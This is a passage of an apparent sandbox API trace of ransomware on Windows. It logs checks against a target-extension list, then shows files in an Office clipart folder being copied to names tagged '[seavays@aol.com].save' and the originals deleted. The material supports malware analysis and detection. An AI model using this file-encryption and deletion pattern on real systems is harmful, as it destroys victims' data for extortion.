Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.565] lstrlenW (lpString=".doc") returned 4 [0173.565] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.565] lstrlenW (lpString=".docx") returned 5 [0173.565] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.565] lstrlenW (lpString=".pdf") returned 4 [0173.565] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.565] lstrlenW (lpString=".xls") returned 4 [0173.565] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.565] lstrlenW (lpString=".xlsx") returned 5 [0173.565] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.565] lstrlenW (lpString=".ppt") returned 4 [0173.565] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.565] lstrlenW (lpString=".zip") returned 4 [0173.565] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.565] lstrlenW (lpString=".rar") returned 4 [0173.565] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.565] lstrlenW (lpString=".bz2") returned 4 [0173.565] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.565] lstrlenW (lpString=".7z") returned 3 [0173.565] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.565] lstrlenW (lpString=".dbf") returned 4 [0173.565] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.565] lstrlenW (lpString=".1cd") returned 4 [0173.565] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0173.565] lstrlenW (lpString=".jpg") returned 4 [0173.565] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.566] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.566] lstrlenW (lpString="PARNT_02.MID") returned 12 [0173.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.801] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=5714) returned 1 [0173.801] CloseHandle (hObject=0x36c) returned 1 [0173.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0173.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.802] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.802] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0173.803] GetLastError () returned 0x0 [0173.803] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1652, lpOverlapped=0x0) returned 1 [0173.805] WriteFile (in: hFile=0x370, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1660, lpOverlapped=0x0) returned 1 [0173.806] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.806] WriteFile (in: hFile=0x370, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0173.806] SetEndOfFile (hFile=0x370) returned 1 [0173.806] CloseHandle (hObject=0x370) returned 1 [0173.806] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.806] SetEndOfFile (hFile=0x36c) returned 1 [0173.809] CloseHandle (hObject=0x36c) returned 1 [0173.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0173.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.810] lstrlenW (lpString=".doc") returned 4 [0173.810] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.810] lstrlenW (lpString=".docx") returned 5 [0173.810] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0173.810] lstrlenW (lpString=".pdf") returned 4 [0173.810] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.810] lstrlenW (lpString=".xls") returned 4 [0173.810] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.810] lstrlenW (lpString=".xlsx") returned 5 [0173.811] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0173.811] lstrlenW (lpString=".ppt") returned 4 [0173.811] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.811] lstrlenW (lpString=".zip") returned 4 [0173.811] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.811] lstrlenW (lpString=".rar") returned 4 [0173.811] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.811] lstrlenW (lpString=".bz2") returned 4 [0173.811] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.811] lstrlenW (lpString=".7z") returned 3 [0173.811] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.811] lstrlenW (lpString=".dbf") returned 4 [0173.811] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.811] lstrlenW (lpString=".1cd") returned 4 [0173.811] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.811] lstrlenW (lpString=".jpg") returned 4 [0173.811] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.811] lstrlenW (lpString=".doc") returned 4 [0173.811] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.811] lstrlenW (lpString=".docx") returned 5 [0173.811] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0173.811] lstrlenW (lpString=".pdf") returned 4 [0173.811] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.811] lstrlenW (lpString=".xls") returned 4 [0173.811] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.811] lstrlenW (lpString=".xlsx") returned 5 [0173.812] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0173.812] lstrlenW (lpString=".ppt") returned 4 [0173.812] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.812] lstrlenW (lpString=".zip") returned 4 [0173.812] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.812] lstrlenW (lpString=".rar") returned 4 [0173.812] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.812] lstrlenW (lpString=".bz2") returned 4 [0173.812] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.812] lstrlenW (lpString=".7z") returned 3 [0173.812] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.812] lstrlenW (lpString=".dbf") returned 4 [0173.812] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.812] lstrlenW (lpString=".1cd") returned 4 [0173.812] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0173.812] lstrlenW (lpString=".jpg") returned 4 [0173.812] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.812] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.812] lstrlenW (lpString="PARNT_03.MID") returned 12 [0173.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.813] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=8538) returned 1 [0173.813] CloseHandle (hObject=0x36c) returned 1 [0173.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0173.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.814] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.814] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0173.815] GetLastError () returned 0x0 [0173.815] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x215a, lpOverlapped=0x0) returned 1 [0173.817] WriteFile (in: hFile=0x370, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2160, lpOverlapped=0x0) returned 1 [0173.818] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.818] WriteFile (in: hFile=0x370, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0173.818] SetEndOfFile (hFile=0x370) returned 1 [0173.819] CloseHandle (hObject=0x370) returned 1 [0173.819] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.819] SetEndOfFile (hFile=0x36c) returned 1 [0173.822] CloseHandle (hObject=0x36c) returned 1 [0173.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0173.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.824] lstrlenW (lpString=".doc") returned 4 [0173.824] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.824] lstrlenW (lpString=".docx") returned 5 [0173.824] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0173.824] lstrlenW (lpString=".pdf") returned 4 [0173.824] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.824] lstrlenW (lpString=".xls") returned 4 [0173.824] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.824] lstrlenW (lpString=".xlsx") returned 5 [0173.824] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0173.824] lstrlenW (lpString=".ppt") returned 4 [0173.824] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.824] lstrlenW (lpString=".zip") returned 4 [0173.824] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.824] lstrlenW (lpString=".rar") returned 4 [0173.824] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.824] lstrlenW (lpString=".bz2") returned 4 [0173.824] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.824] lstrlenW (lpString=".7z") returned 3 [0173.824] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.824] lstrlenW (lpString=".dbf") returned 4 [0173.824] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.824] lstrlenW (lpString=".1cd") returned 4 [0173.824] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.825] lstrlenW (lpString=".jpg") returned 4 [0173.825] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.825] lstrlenW (lpString=".doc") returned 4 [0173.825] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.825] lstrlenW (lpString=".docx") returned 5 [0173.825] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0173.825] lstrlenW (lpString=".pdf") returned 4 [0173.825] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.825] lstrlenW (lpString=".xls") returned 4 [0173.825] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.825] lstrlenW (lpString=".xlsx") returned 5 [0173.825] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0173.825] lstrlenW (lpString=".ppt") returned 4 [0173.825] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.825] lstrlenW (lpString=".zip") returned 4 [0173.825] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.825] lstrlenW (lpString=".rar") returned 4 [0173.825] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.825] lstrlenW (lpString=".bz2") returned 4 [0173.825] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.825] lstrlenW (lpString=".7z") returned 3 [0173.825] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.825] lstrlenW (lpString=".dbf") returned 4 [0173.825] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.825] lstrlenW (lpString=".1cd") returned 4 [0173.825] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0173.826] lstrlenW (lpString=".jpg") returned 4 [0173.826] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.826] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.826] lstrlenW (lpString="PARNT_04.MID") returned 12 [0173.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.827] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=6070) returned 1 [0173.827] CloseHandle (hObject=0x36c) returned 1 [0173.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0173.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.827] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.827] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0173.828] GetLastError () returned 0x0 [0173.828] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x17b6, lpOverlapped=0x0) returned 1 [0173.830] WriteFile (in: hFile=0x370, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x17c0, lpOverlapped=0x0) returned 1 [0173.831] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.831] WriteFile (in: hFile=0x370, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0173.831] SetEndOfFile (hFile=0x370) returned 1 [0173.831] CloseHandle (hObject=0x370) returned 1 [0173.832] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.832] SetEndOfFile (hFile=0x36c) returned 1 [0173.840] CloseHandle (hObject=0x36c) returned 1 [0173.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0173.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.842] lstrlenW (lpString=".doc") returned 4 [0173.842] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.842] lstrlenW (lpString=".docx") returned 5 [0173.842] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0173.842] lstrlenW (lpString=".pdf") returned 4 [0173.842] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.843] lstrlenW (lpString=".xls") returned 4 [0173.843] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.843] lstrlenW (lpString=".xlsx") returned 5 [0173.843] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0173.843] lstrlenW (lpString=".ppt") returned 4 [0173.843] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.843] lstrlenW (lpString=".zip") returned 4 [0173.843] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.843] lstrlenW (lpString=".rar") returned 4 [0173.843] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.843] lstrlenW (lpString=".bz2") returned 4 [0173.843] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.843] lstrlenW (lpString=".7z") returned 3 [0173.843] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.843] lstrlenW (lpString=".dbf") returned 4 [0173.843] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.843] lstrlenW (lpString=".1cd") returned 4 [0173.843] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.843] lstrlenW (lpString=".jpg") returned 4 [0173.843] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.844] lstrlenW (lpString=".doc") returned 4 [0173.844] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.844] lstrlenW (lpString=".docx") returned 5 [0173.844] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0173.844] lstrlenW (lpString=".pdf") returned 4 [0173.844] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.844] lstrlenW (lpString=".xls") returned 4 [0173.844] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.844] lstrlenW (lpString=".xlsx") returned 5 [0173.844] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 